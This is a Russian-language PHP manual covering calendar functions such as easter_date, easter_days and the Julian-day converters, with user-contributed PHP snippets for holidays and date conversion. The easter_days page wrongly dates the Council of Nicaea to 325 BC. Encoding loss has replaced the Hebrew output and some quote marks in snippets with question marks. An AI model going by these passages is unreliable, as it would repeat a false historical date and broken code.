Примеры

Пример #1 Пример использования easter_date()

<?php

echo date("M-d-Y", easter_date(1999)); // Apr-04-1999
echo date("M-d-Y", easter_date(2000)); // Apr-23-2000
echo date("M-d-Y", easter_date(2001)); // Apr-15-2001

?>

Пример #2 Пример использования easter_date() с объектом класса DateTime

<?php

$timestamp = easter_date(2023);

$datetime = new \DateTime();
$datetime->setTimestamp($timestamp);

echo $datetime->format('M-d-Y'); // Apr-09-2023

?>

Примечания

Замечание:

Функция easter_date() полагается на работающие со временем системные функции библиотеки языка Си, а не на работающие с датой и временем внутренние функции PHP. Вследствие этого для определения часового пояса, в котором она должна работать, функция easter_date() использует переменную окружения TZ, а не заданный в PHP часовой пояс по умолчанию, что может привести к неожиданному поведению в сочетании с другими функциями PHP для работы с датами.

В качестве обходного пути для расчёта начала Пасхи в текущем часовом поясе PHP можно использовать функцию easter_days() с объектами классов DateTime и DateInterval следующим образом:

<?php
function get_easter_datetime($year) {
$base = new DateTime("$year-03-21");
$days = easter_days($year);

return $base->add(new DateInterval("P{$days}D"));
}

foreach (range(2012, 2015) as $year) {
printf("Пасха в %d году приходится на %s\n",
$year,
get_easter_datetime($year)->format('F j'));
}
?>

Результат выполнения данного примера:

Пасха в 2012 году приходится на April 8
Пасха в 2013 году приходится на March 31
Пасха в 2014 году приходится на April 20
Пасха в 2015 году приходится на April 5

Смотрите также

  • Функция easter_days() - Получить количество дней между 21 марта и Пасхой в заданном году для расчёта дня Пасхи до 1970 или после 2037 года

User Contributed Notes

Alexander Bliznyuk 23-Aug-2017 10:02
Thank you, @Maxie, for algorythm for computing Orthodox Easter date.
It can be improved though. You added 13 days in order to map Julian calendar to Gregorian.  But 13 days is not a constant. It's an accumulated error fixed in Gregorian and should be calculated with this formula: (int)($year / 100) - (int)($year / 400) - 2
adwil at live dot com 10-Apr-2014 03:01
Hey, recently I needed a function to get realization dates in online shop, so here it is (ready to go for polish users, please adjust your dates for any other country):

<?php
function getWorkday($date1,$workDays) {
        $workDays = (int)$workDays;
        if ($workDays <= 0)
            return null;

        $date1=strtotime('-1 day',strtotime($date1));

        $lastYear = null;
        $hol=array('01-01','01-06','05-01','05-03','08-15','11-01','11-11','12-25','12-26');  //array of month-date of static holidays (these are from Poland)
        $i = 0;
        while ($i<=$workDays) {
            $year = date('Y', $date1);
            if ($year !== $lastYear){
                $lastYear = $year;
                $easter = date('m-d', easter_date($year));
                $date = strtotime($year . '-' . $easter); // easter
                $easterSec = date('m-d', strtotime('+1 day', $date)); // easter monday
                $greens = date('m-d', strtotime('+49 days', $date)); // zielone swiatki
                $cc = date('m-d', strtotime('+60 days', $date)); // boze cialo
                $hol[] = $easter;
                $hol[] = $easterSec;
                $hol[] = $greens;
                $hol[] = $cc;
            }
            $weekDay=date('w',$date1);
            if (!($weekDay==0 || $weekDay==6 || in_array(date('m-d',$date1),$hol)))
                $i++;

            $date1=strtotime('+1 day',$date1);
        }
        return date('Y-m-d',$date1);
    }
?>
Guillaume Dufrene 30-Mar-2013 08:13
I found a problem with holidays timestamp computation and daylight saving time.
An article about it at http://goo.gl/76t31 (in french only, sorry).

In summary, this year (2013) easter begins before adding an hour for daylight saving time (occured sunday at 3:00). It means that if you do $easter + X, where x is a number of seconds equivalent to one day, 39 days or 50 days, the result is not equals to a midnight timestamp...

Here a function to check if a midnight timestamp is equals to an holiday :

function isHoliday( $ts ) {
// Licence : Creative Commons (BY)
// By Webpulser - http://goo.gl/76t31
  $fixed_holidays = array( '01-01?, '01-05?, '08-05?, '14-07?, '15-08?, '11-11?, '25-12? );
  $format = 'd-m';

 $dm = date($format, $ts);
  if ( in_array($dm, $fixed_holidays) ) return true;

 $easter = easter_date( date('Y', $ts) );
  if ( date($format, $easter +   86400) == $dm ) return true;
  if ( date($format, $easter + 3369600) == $dm ) return true;
  if ( date($format, $easter + 4320000) == $dm ) return true;

 return false;
}

feel free to use / modify.
py dot lebecq at gmail dot com 11-Mar-2010 07:44
I recently had to write a function that allows me to know if today is a holiday.

And in France, we have some holidays which depends on the easter date. Maybe this will be helpful to someone.

Just modify in the $holidays array the actual holidays dates of your country.

<?php
/**
 * This function returns an array of timestamp corresponding to french holidays
 */
protected static function getHolidays($year = null)
{
  if ($year === null)
  {
    $year = intval(date('Y'));
  }

  $easterDate  = easter_date($year);
  $easterDay   = date('j', $easterDate);
  $easterMonth = date('n', $easterDate);
  $easterYear   = date('Y', $easterDate);

  $holidays = array(
    // These days have a fixed date
    mktime(0, 0, 0, 1,  1,  $year),  // 1er janvier
    mktime(0, 0, 0, 5,  1,  $year),  // Fete du travail
    mktime(0, 0, 0, 5,  8,  $year),  // Victoire des allies
    mktime(0, 0, 0, 7,  14, $year),  // Fete nationale
    mktime(0, 0, 0, 8,  15, $year),  // Assomption
    mktime(0, 0, 0, 11, 1,  $year),  // Toussaint
    mktime(0, 0, 0, 11, 11, $year),  // Armistice
    mktime(0, 0, 0, 12, 25, $year),  // Noel

    // These days have a date depending on easter
    mktime(0, 0, 0, $easterMonth, $easterDay + 2,  $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 40, $easterYear),
    mktime(0, 0, 0, $easterMonth, $easterDay + 50, $easterYear),
  );

  sort($holidays);

  return $holidays;
}
?>
maxie 12-Jun-2008 01:36
To compute the correct Easter date for Eastern Orthodox Churches I made a function based on the Meeus Julian algorithm:

<?php
function orthodox_eastern($year) {
    $a = $year % 4;
    $b = $year % 7;
    $c = $year % 19;
    $d = (19 * $c + 15) % 30;
    $e = (2 * $a + 4 * $b - $d + 34) % 7;
    $month = floor(($d + $e + 114) / 31);
    $day = (($d + $e + 114) % 31) + 1;

    $de = mktime(0, 0, 0, $month, $day + 13, $year);

    return $de;
}
?>
phpuser 08-Nov-2004 08:17
The algorithm from Bigtree is correct if you add some (int) cast
<?php
   function easter_date ($Year) {

       /*
       G is the Golden Number-1
       H is 23-Epact (modulo 30)
       I is the number of days from 21 March to the Paschal full moon
       J is the weekday for the Paschal full moon (0=Sunday,
         1=Monday, etc.)
       L is the number of days from 21 March to the Sunday on or before
         the Paschal full moon (a number between -6 and 28)
       */

         $G = $Year % 19;
         $C = (int)($Year / 100);
         $H = (int)($C - (int)($C / 4) - (int)((8*$C+13) / 25) + 19*$G + 15) % 30;
         $I = (int)$H - (int)($H / 28)*(1 - (int)($H / 28)*(int)(29 / ($H + 1))*((int)(21 - $G) / 11));
         $J = ($Year + (int)($Year/4) + $I + 2 - $C + (int)($C/4)) % 7;
         $L = $I - $J;
         $m = 3 + (int)(($L + 40) / 44);
         $d = $L + 28 - 31 * ((int)($m / 4));
         $y = $Year;
         $E = mktime(0,0,0, $m, $d, $y);

         return $E;

   }
?>


Получить количество дней между 21 марта и Пасхой в заданном году

  • « easter_date
  • frenchtojd »
  • PHP Manual
  • Календарь
  • Получить количество дней между 21 марта и Пасхой в заданном году

easter_days

(PHP 4, PHP 5, PHP 7, PHP 8)

easter_days — Получить количество дней между 21 марта и Пасхой в заданном году

Описание

easter_days(?int $year = null, int $mode = CAL_EASTER_DEFAULT): int

Возвращает количество дней между 21 марта и Пасхой в заданном году. Если год не указан, расчёт будет произведён для текущего года.

Эту функцию можно использовать вместо easter_date() для расчёта даты Пасхи для дат, выходящих за рамки диапазона временных меток Unix (с 1970 по 2037 годы).

Дата Пасхального дня была введена Консулом Никеи в 325 году до н.э. Это первое воскресенье, следующее за первым полнолунием после весеннего равноденствия. Днём весеннего равноденствия принято считать 21 марта, так что расчёт дня Пасхи сводится к определению даты полнолуния и следующего за ней воскресенья. Используемый здесь алгоритм введён Дионисием Малым в 532 году. В юлианском летоисчислении (до 1753 года) для отслеживания фаз луны использовался простой 19-летний цикл. В григорианском календаре (годы после 1753 - разработан Христофором Клавиусом и Алоизием Лилиусом и введён Папой Григорием XIII в октябре 1582г., а в Великобритании и её колониях в сентябре 1752г.) было добавлено 2 поправочных коэффициента увеличивающих точность расчёта дат.

Список параметров

year

Год, положительное число. Если не задан или null, используется текущий год в соответствии с локальным временем сервера.

mode

Позволяет рассчитать Пасхальные даты, основываясь на григорианском календаре для 1582 - 1752 годов, если установить CAL_EASTER_ROMAN. Смотрите список констант календаря, чтобы узнать о всех допустимых константах.

Возвращаемые значения

Количество дней между 21 марта и Пасхальным воскресеньем в заданном году year.

Список изменений

Версия | Описание
8.0.0 | year теперь допускает значение null.

Примеры

Пример #1 Пример использования easter_days()

<?php

echo easter_days(1999); // 14, т.e. April 4
echo easter_days(1492); // 32, т.e. April 22
echo easter_days(1913); // 2, т.e. March 23

?>

Смотрите также

  • easter_date() - Получить метку времени Unix, соответствующую полуночи на Пасху в заданном году

User Contributed Notes

p dot rijt at caesar dot nl 01-Jun-2015 03:20
This function returns an array of timestamp corresponding to Dutch National holidays. Liberation Day (Bevrijdingsdag) is added as a National holiday once every five years (2000, 2005, 2010, ...).

<?php
function getHolidays($year = null) {
    if ($year === null) {
        $year = intval(date('Y'));
    }

    $easterDate  = easter_date($year);
    $easterDay   = date('j', $easterDate);
    $easterMonth = date('n', $easterDate);
    $easterYear   = date('Y', $easterDate);

    $holidays = array(
        // Nieuwjaarsdag
        mktime(0, 0, 0, 1,  1,  $year),
        // 1e Kerstdag
        mktime(0, 0, 0, 12, 25, $year),
        // 2e Kerstdag
        mktime(0, 0, 0, 12, 26, $year)
    );

    // Bevrijdingsdag
    if (($year % 5) == 0) {
        $holidays[] = mktime(0, 0, 0, 5, 5, $year);
    }

    // Koninginnedag (< 2014) of Koningsdag (>= 2014).
    // Verplaats naar zaterdag als het valt op zondag.
    if ($year <= 2013) { // Koninginnedag <= 2013
        if (date('w', mktime(0, 0, 0, 4, 30, $year)) == 0) { // Op zondag?
            $holidays[] = mktime(0, 0, 0, 4, 29, $year);  // Verplaats naar zaterdag
        } else {
            $holidays[] = mktime(0, 0, 0, 4, 30, $year);  // Koninginnedag
        }
    } else { // Koningsdag > 2014
        if (date('w', mktime(0, 0, 0, 4, 27, $year)) == 0) { // Op zondag?
            $holidays[] = mktime(0, 0, 0, 4, 26, $year);  // Verplaats naar zaterdag
        } else {
            $holidays[] = mktime(0, 0, 0, 4, 27, $year);  // Koningsdag
        }
    }

    // Onderstaande dagen hebben een datum afhankelijk van Pasen
    // Goede Vrijdag (= pasen - 2)
    $holidays[] = strtotime('-2 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 1e Paasdag
    $holidays[] = mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear);
    // 2e Paasdag (= pasen +1)
    $holidays[] = strtotime('+1 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // Hemelvaartsdag (= pasen + 39)
    $holidays[] = strtotime('+39 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 1e Pinksterdag (= pasen + 49)
    $holidays[] = strtotime('+49 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));
    // 2e Pinksterdag (= pasen + 50)
    $holidays[] = strtotime('+50 days', mktime(0, 0, 0, $easterMonth, $easterDay,  $easterYear));

    sort($holidays);

    return $holidays;
}

$holidays = getHolidays(2014);

foreach ($holidays as $holiday) {
    echo date('d-M-Y', $holiday) . '<br>';
}
?>
ian at eiloart dot com-NOSPAM 19-Nov-2001 11:43
Also, be aware that the eastern orthodox churches sometimes have different dates for easter. See, for example <http://webexhibits.org/calendars/calendar-christian-easter.html>. And note that the dates of easter a subject to change,  for example, the churches might some day decide to unify the dates.


Преобразует дату Французского республиканского календаря в количество дней в Юлианском летоисчислении

  • « easter_days
  • gregoriantojd »
  • PHP Manual
  • Календарь
  • Преобразует дату Французского республиканского календаря в количество дней в Юлианском летоисчислении

frenchtojd

(PHP 4, PHP 5, PHP 7, PHP 8)

frenchtojd — Преобразует дату Французского республиканского календаря в количество дней в Юлианском летоисчислении

Описание

frenchtojd(int $month, int $day, int $year): int

Преобразует дату Французского республиканского календаря в количество дней в Юлианском летоисчислении.

Функция преобразует даты только с 1 по 14 годов (григорианские даты с 22 сентября 1792 г. по 22 сентября 1806 г.) Это более чем охватывает период, когда этот календарь использовался.

Список параметров

month

Месяц в виде числа от 1 (для месяца Vendemiaire) до 13 (для периода 5-6 дней в конце каждого года)

day

День в виде числа от 1 до 30

year

Год в виде числа между 1 и 14

Возвращаемые значения

Количество дней в юлианском летоисчислении для заданной даты по французскому республиканскому календарю.

Смотрите также

  • jdtofrench() - Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю
  • cal_to_jd() - Преобразует заданную дату в юлианскую

User Contributed Notes

There are no user contributed notes for this page.


Преобразует дату по григорианскому календарю в количество дней в юлианском летоисчислении

  • « frenchtojd
  • jddayofweek »
  • PHP Manual
  • Календарь
  • Преобразует дату по григорианскому календарю в количество дней в юлианском летоисчислении

gregoriantojd

(PHP 4, PHP 5, PHP 7, PHP 8)

gregoriantojd — Преобразует дату по григорианскому календарю в количество дней в юлианском летоисчислении

Описание

gregoriantojd(int $month, int $day, int $year): int

Разрешённый диапазон дат для григорианского календаря с 25 ноября 4714 года до н.э. по 31 декабря 9999 год н.э.

Несмотря на возможность обработки дат вплоть до 4714 года до н.э., такое использование имеет мало смысла. Григорианский календарь не существовал до 15 октября 1582 года (или 5 октября 1582 в юлианском календаре). Некоторые страны не переходили на этот календарь очень долгое время. Например, Великобритания совершила переход в 1752 году, СССР в 1918 г., Греция в 1923 г. Большинство стран Европы предпочитали юлианский календарь григорианскому.

Список параметров

month

Месяц в виде числа от 1 (январь) до 12 (декабрь)

day

День в виде числа от 1 до 31. Если в месяце меньше дней, чем передано, то произойдёт переполнение; смотрите пример ниже.

year

Года в виде числа от -4714 до 9999. Отрицательные числа означают года до н.э., положительные - н.э. Обратите внимание, что не существует года 0; 31 декабря 1 года до н.э. следует сразу после 1 января 1 года н.э.

Возвращаемые значения

Количество дней в юлианском летоисчислении для даты по григорианскому календарю. Даты за пределами допустимого диапазона возвратят 0.

Примеры

Пример #1 Календарные функции

<?php
$jd = gregoriantojd(10, 11, 1970);
echo "$jd\n";
$gregorian = jdtogregorian($jd);
echo "$gregorian\n";
?>

Результат выполнения данного примера:

2440871
10/11/1970

Пример #2 Поведение при переполнении

<?php
echo gregoriantojd(2, 31, 2018), PHP_EOL,
gregoriantojd(3, 3, 2018), PHP_EOL;
?>

Результат выполнения данного примера:

2458181
2458181

Смотрите также

  • jdtogregorian() - Переводит число дней в юлианском летоисчислении в дату по Григорианскому календарю
  • cal_to_jd() - Преобразует заданную дату в юлианскую

User Contributed Notes

jfg 07-Apr-2009 01:19
If you need the same output as the g_date_get_julian function of the GlibC, here is my php implementation :

<?php
    /**
     * Glib g_date_get_julian PHP implementation
     *
     * @param  $str  Date string in a format accepted by strtotime
     * @author jfg
     */
    private function _get_julian( $str )
    {
        $d = date_create($str);

        if( $d == false )
            return 0;

        $day_in_year = (int) date_format($d, "z");
        $year        = (int) date_format($d, "Y") - 1;
        $julian_days = $year * 365;
        $julian_days += ($year >>= 2);
        $julian_days -= ($year /= 25);
        $julian_days += $year >> 2;
        $julian_days += $day_in_year + 1;

        return ceil($julian_days);
    }

?>
jettyrat at jettyfishing dot com 17-Mar-2005 01:34
You can obtain the decimal fraction of the Julian date with the php gregoriantojd() function or the function shown below by applying this code to the returned value.

<?php
  $julianDate = gregoriantojd($month, $day, $year);

  //correct for half-day offset
  $dayfrac = date('G') / 24 - .5;
  if ($dayfrac < 0) $dayfrac += 1;

  //now set the fraction of a day
  $frac = $dayfrac + (date('i') + date('s') / 60) / 60 / 24;

  $julianDate = $julianDate + $frac;
?>
httpwebwitch 08-Jun-2004 04:04
This function also ignores decimal fractions in JD dates, and it uses non-standard format for returning the Gregorian date.

So, if your JD date is 2453056.28673, the Gregorian returned value is 2/20/2004, not "2004-02-20 23:45:36"

The decimal part is important, since the Julian day begins at noon, for example 2453056.49 is on Friday, 2453056.50 is on Saturday. Discarding the decimal part means that your returned Gregorian Date will be wrong 50% of the time.


Возвращает день недели

  • « gregoriantojd
  • jdmonthname »
  • PHP Manual
  • Календарь
  • Возвращает день недели

jddayofweek

(PHP 4, PHP 5, PHP 7, PHP 8)

jddayofweek — Возвращает день недели

Описание

jddayofweek(int $julian_day, int $mode = CAL_DOW_DAYNO): int|string

Возвращает день недели. Может возвращать строку или число в зависимости от режима работы.

Список параметров

julian_day

День в виде числа в юлианском летоисчислении

mode
Режимы отображения дней недели
Режим | Значение
0 (По умолчанию) | День недели возвращается в виде числа (0=Воскресенье, 1=Понедельник и т.д.)
1 | Возвращается строка, содержащая день недели (Английский-Григорианский)
2 | Возвращается строка, содержащая аббревиатуру дня недели (Английскую-Григорианскую)

Возвращаемые значения

День недели по григорианскому календарю в виде строки или числа.

User Contributed Notes

phimuskapsi at gmail dot com 24-Aug-2020 07:16
When using mode 1 or 2, the number returned will NOT match mode 0.

jddayofweek(0, 1) = 'Monday' not 'Sunday' as expected.

This can cause discordance between the UI and the value saved.
kevind at communitycolor dot com 03-Mar-2017 08:24
You need to check to see how your client wants to represent the day of week. This function returns 0 for Sundays. ISO 8601 uses 7 for Sundays.

BTW, You can also calculate the day of week with modular division:

$dow = (1 + $julianday) % 7; // returns 0 for Sundays.
$dow = ($julianday % 7) + 1; // returns 7 for Sundays.

https://en.wikipedia.org/wiki/Julian_day#Finding_day_of_week_given_Julian_day_number

To make matters confusing. The Julian Date starts at noon UTC. Some programs such as SQLITE3 use real numbers to record date and time. If you pass this function a float; it will return a different day of week for the morning than for the afternoon.

When given a julianday with a decimal part you will need to add a half day and may need further adjustment for your timezone.


Возвращает название месяца

  • « jddayofweek
  • jdtofrench »
  • PHP Manual
  • Календарь
  • Возвращает название месяца

jdmonthname

(PHP 4, PHP 5, PHP 7, PHP 8)

jdmonthname — Возвращает название месяца

Описание

jdmonthname(int $julian_day, int $mode): string

Возвращает строку, содержащую название месяца. mode задаёт режим работы функции преобразования из числа дней в юлианском летоисчислении, а также определяет тип возвращаемого значения названия месяца.

Режимы работы
Режим | Название месяца | Значения
CAL_MONTH_GREGORIAN_SHORT | Григорианское - сокращённое | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
CAL_MONTH_GREGORIAN_LONG | Григорианское | January, February, March, April, May, June, July, August, September, October, November, December
CAL_MONTH_JULIAN_SHORT | Юлианское - сокращённое | Jan, Feb, Mar, Apr, May, Jun, Jul, Aug, Sep, Oct, Nov, Dec
CAL_MONTH_JULIAN_LONG | Юлианское | January, February, March, April, May, June, July, August, September, October, November, December
CAL_MONTH_JEWISH | Еврейское | Tishri, Heshvan, Kislev, Tevet, Shevat, Adar, Adar I, Adar II, Nisan, Iyyar, Sivan, Tammuz, Av, Elul
CAL_MONTH_FRENCH | Французское республиканское | Vendemiaire, Brumaire, Frimaire, Nivose, Pluviose, Ventose, Germinal, Floreal, Prairial, Messidor, Thermidor, Fructidor, Extra

Список параметров

jday

Число дней в юлианском летоисчислении, которое требуется преобразовать

mode

Режим календаря (смотрите таблицу выше)

Возвращаемые значения

Название месяца для заданного Юлианского Дня, соответствующее календарю mode.

User Contributed Notes

marc at linkitdesign dot com 15-Jun-2013 01:58
Regarding the jewish date system. It may be worth noting the following peculiarities, some obvious some not so.
1. Jewish days start at sunset NOT midnight so when converting from a Gregorian date to a Jewish one it might be worth asking if the date/time occurred 'after sunset'.
2. Jewish leap years follow a 19 year cycle which can be calculated like this:
function isJLeapYear($JYear) {
    if ( ((7 * $JYear + 1) % 19) < 7 )
        return true;
    else
        return false;
}
3. During a leap year a new leap-month called "Adar I" is inserted BEFORE the normal month of Adar.
4. During leap years, Adar is renamed "Adar II".
5. Adar/Adar II has 29 days
6. Adar I has 30 days
7. Cheshvan & Kislev have between 29 & 30 Days
8. Leap years have between 383 and 385 days.
8. non-leap years have between 353 and 355 days.
9 . In a 354-day year, months have alternating 30 and 29 day lengths.
10. In a 353-day year, the month of Kislev is reduced to 29 days.
11. In a 355-day year, the month of Cheshvan is increased to 30 days.
12. Leap years years follow the same pattern, with the addition of the 30-day Adar I as well.


Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю

  • « jdmonthname
  • jdtogregorian »
  • PHP Manual
  • Календарь
  • Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю

jdtofrench

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtofrench — Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю

Описание

jdtofrench(int $julian_day): string

Переводит число дней в юлианском летоисчислении в дату по французскому республиканскому календарю

Список параметров

julian_day

Номер дня в юлианском летоисчислении

Возвращаемые значения

Дата со дня французской революции в виде строки формата "месяц/день/год"

Смотрите также

  • frenchtojd() - Преобразует дату Французского республиканского календаря в количество дней в Юлианском летоисчислении
  • cal_from_jd() - Преобразует дату, заданную в юлианском календаре, в дату указанного календаря

User Contributed Notes

popy-dev 06-Mar-2018 10:45
Also note that there are few date converters handling French calendar outside the jdtofrench covered range.
pieterc dot depraetere at ugent dot be 10-Mar-2010 02:04
If you want to convert a date later than September 22nd 1806, you could use this function. It's a bit crude and due to the fact the original function terminates in the middle of 1806, it uses 1805 as it's 'terminus post quem'.
<?php
function extended_jdtofrench ($juliandate) {
    if ($juliandate > 2380945) {
        // jdtofrench () only accepts dates until september 1806
        $gregorian_date = jdtogregorian ($juliandate);
        $temp = explode ('/', $gregorian_date);
        $year = $temp[2];
        $juliandate = gregoriantojd ($temp[0], $temp[1], 1805);
        $republican_date = jdtofrench ($juliandate);
        $republican_date = explode ('/', $republican_date);
        $diff = $year - 1805;
        $republican_date[2] = $republican_date[2] + $diff;
    } else {
        $republican_date = jdtofrench ($juliandate);
    }
    return $republican_date;
}
?>
squenz at titania dot bottoms-dream dot de 06-Apr-2006 08:25
Here is a small piece of code to obtain the string data for a correctly converted gregorian date:

<?php
$arDateFrench = gregorian2FrenchDateArray(11, 9, 1799) ;

echo $arDateFrench[1] . " " . $arDateFrench[0] . " " . $arDateFrench[2] ;

/* the output will be:
    18 Brumaire VIII

*/

function gregorian2FrenchDateArray($m, $d, $y)
{

    $julian_date = gregoriantojd($m, $d, $y);
    $french = jdtofrench($julian_date);
    if($french == "0/0/0")
        return "" ;

    $arD = split("/", $french) ;

    // get the month name
    $monthname = FrenchMonthNames($arD[0]) ;

    /* convert the year number to roman digits (as most historians do and documents of the time did */
    $stryear = decrom($arD[2]) ;
    return array($monthname, $arD[1], $stryear ) ;
}

function FrenchMonthNames($mo)
{
    /* The names have been invented by Fabre d'Eglantine, a second or rather third rank poet
of primarily pastoral poems, with each name referring to the respective period in the agricultural year; e.g. "Vendemiaire" (approx. September) is derived from "vendange" ("harvest"), "Brumaire" (Ocotober/November) from "brume" ("fog") and so on ...     */

    $arMo = array("Vendemiaire",
                      "Brumaire",
                      "Frimaire",
                      "Nivose",
                      "Pluviose",
                      "Ventose",
                      "Germinal",
                      "Floreal",
                      "Prairial",
                      "Messidor",
                      "Thermidor",
                      "Fructidor",
                      "Sansculottide") ;

    if($mo < count($arMo)+1)
        return $arMo[$mo-1] ;

}

function decrom($dec){
       $digits=array(
           1 => "I",
           4 => "IV",
           5 => "V",
           9 => "IX",
           10 => "X",
           40 => "XL",
           50 => "L",
           90 => "XC",
           100 => "C",
           400 => "CD",
           500 => "D",
           900 => "CM",
           1000 => "M"
       );
       krsort($digits);
       $retval="";
       foreach($digits as $key => $value){
           while($dec>=$key){
               $dec-=$key;
               $retval.=$value;
           }
       }
       return $retval;
}
?>
serged at noos dot fr 28-Oct-2003 09:00
Very limited function:

(extract from source of 4.3.3)
These routines only convert dates in years 1 through 14 (Gregorian dates 22 September 1792 through 22 September 1806).  This more than  covers the period when the calendar was in use.

Pour les fran?ais :
Ces routines ne converitssent les dates que de l'an 1 ? 14 (du 22 septembre 1792 au 22 septembre 1806). Cela couvre plus que la p?riode pendant laquelle le calendrier ? ?t? utilis?.


Переводит число дней в юлианском летоисчислении в дату по Григорианскому календарю

  • « jdtofrench
  • jdtojewish »
  • PHP Manual
  • Календарь
  • Переводит число дней в юлианском летоисчислении в дату по Григорианскому календарю

jdtogregorian

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtogregorian — Переводит число дней в юлианском летоисчислении в дату по Григорианскому календарю

Описание

jdtogregorian(int $julian_day): string

Переводит число дней в юлианском летоисчислении в строку, содержащую григорианскую дату в формате "месяц/день/год".

Список параметров

julian_day

Номер дня в юлианском летоисчислении в виде целого числа

Возвращаемые значения

Дата по григорианскому календарю в виде строки формата "месяц/день/год"

Смотрите также

  • gregoriantojd() - Преобразует дату по григорианскому календарю в количество дней в юлианском летоисчислении
  • cal_from_jd() - Преобразует дату, заданную в юлианском календаре, в дату указанного календаря

User Contributed Notes

ashton at ieee dot org 18-Sep-2016 08:08
The minimum acceptable input Julian day count is 1, which produces an output of "11/25/-4714" (at least in my operating system and location) which means 25 November 4714 BC. PHP does not recognize the year 0. Astronomers do use the year 0, and would write the Gregorian date that corresponds to Julian day number 1 as 25 November -4713.
swiles at ddbc dot edu dot tw 25-Jan-2009 09:34
The php gregoriantojd() and jdtogregorian() functions, in addition to the limitations noted by httpwebwitch, does not take account of the 'Astronomical' system of reckoning - i.e. using a year zero, instead of going directly from 1BCE to 1CE, as with the Christian Anno Domini system.

These functions can be used to wrap the php built-ins to return ISO 8601 compliant dates:

<?php
function ISO8601toJD($ceDate) {
    list($day, $month, $year) = array_map('strrev',explode('-', strrev($ceDate), 3));
    if ($year <= 0) $year--;
    return gregoriantojd($month, $day, $year);
}

function JDtoISO8601($JD) {
    if ($JD <= 1721425) $JD += 365;
    list($month, $day, $year) = explode('/', jdtogregorian($JD));
    return sprintf('%+05d-%02d-%02d', $year, $month, $day);
}
?>
httpwebwitch 22-Jun-2004 10:37
JD days may have decimal fractions which correspond to the time of day. The Julian day begins at noon, and the decimal fraction measures fractional days until the beginning of the next day at noon.

For instance, Julian Day 2453179.00000 is June 22, 2004, at 12:00pm (noon).

One hour later, it's 2453179.04167
At 2453179.20833 I'll have dinner, and
at 2453179.45833, it's time for the evening news.
After a good night of sleep, my alarm will go off at 2453179.83333,
then at noon on June 23, a new Julian Day begins at 2453180.

To use these functions with fractional days, strip the fractional part with floor(), and apply the function to the integer part.

Then add 12 hours, bringing you to noon of that day. That is the actual time returned by JDToGregorian().

Then add the fractional part of the day, by multiplying the decimal part of the Julian Day by (24*60*60) seconds. This may take you forward or backward to a different Gregorian calendar date.
uni_fl4r3 at t hotmail dot com 14-Sep-2003 08:05
I have made a slight modification to treebe's jd to greg function, this one will transform a unix timestamp to Gregorian day/month/year format...

<?php
function unix_to_greg($unix_timestamp) {
    $julian = floor(((($unix_timestamp / "60") / "60") / "24") + "2440588");
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10)
    {
        $month = $month + 3;
    }else{
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>
treebe 31-May-2003 05:01
Julian to Gregorian date change.
If you do not have the calendar extensions loaded this is little function works realy well.

<?php
function jd_to_greg($julian) {
    $julian = $julian - 1721119;
    $calc1 = 4 * $julian - 1;
    $year = floor($calc1 / 146097);
    $julian = floor($calc1 - 146097 * $year);
    $day = floor($julian / 4);
    $calc2 = 4 * $day + 3;
    $julian = floor($calc2 / 1461);
    $day = $calc2 - 1461 * $julian;
    $day = floor(($day + 4) / 4);
    $calc3 = 5 * $day - 3;
    $month = floor($calc3 / 153);
    $day = $calc3 - 153 * $month;
    $day = floor(($day + 5) / 5);
    $year = 100 * $year + $julian;

    if ($month < 10) {
        $month = $month + 3;
    }
    else {
        $month = $month - 9;
        $year = $year + 1;
    }
    return "$day.$month.$year";
}
?>


Переводит количество дней из юлианского календаря в дату по еврейскому календарю

  • « jdtogregorian
  • jdtojulian »
  • PHP Manual
  • Календарь
  • Переводит количество дней из юлианского календаря в дату по еврейскому календарю

jdtojewish

(PHP 4, PHP 5, PHP 7, PHP 8)

jdtojewish — Переводит количество дней из юлианского календаря в дату по еврейскому календарю

Описание

jdtojewish(int $julian_day, bool $hebrew = false, int $flags = 0): string

Переводит количество дней из юлианского календаря в дату по еврейскому календарю.

Список параметров

julian_day

Номер дня в юлианском летоисчислении в виде целого числа

hebrew

Если аргумент hebrew установлен в true, дата будет возвращена в виде закодированной строки ISO-8859-8 в еврейском формате, заданном аргументом flags.

flags

Битовая маска может состоять из: CAL_JEWISH_ADD_ALAFIM_GERESH, CAL_JEWISH_ADD_ALAFIM и CAL_JEWISH_ADD_GERESHAYIM.

Возвращаемые значения

Еврейская дата в виде строки формата "месяц/день/год" или закодированная строка ISO-8859-8 даты на иврите в соответствии с параметром hebrew.

Примеры

Пример #1 Пример использования jdtojewish()

<?php
$jd = gregoriantojd(10, 8, 2002);
echo jdtojewish($jd, true), PHP_EOL,
jdtojewish($jd, true, CAL_JEWISH_ADD_GERESHAYIM), PHP_EOL,
jdtojewish($jd, true, CAL_JEWISH_ADD_ALAFIM), PHP_EOL,
jdtojewish($jd, true,CAL_JEWISH_ADD_ALAFIM_GERESH), PHP_EOL;
?>

Результат выполнения данного примера:

? ???? ?????
?' ???? ????"?
? ???? ? ????? ????
? ???? ?'????

Смотрите также

  • jewishtojd() - Переводит дату по еврейскому календарю в число дней в юлианском летоисчислении
  • cal_from_jd() - Преобразует дату, заданную в юлианском календаре, в дату указанного календаря

User Contributed Notes

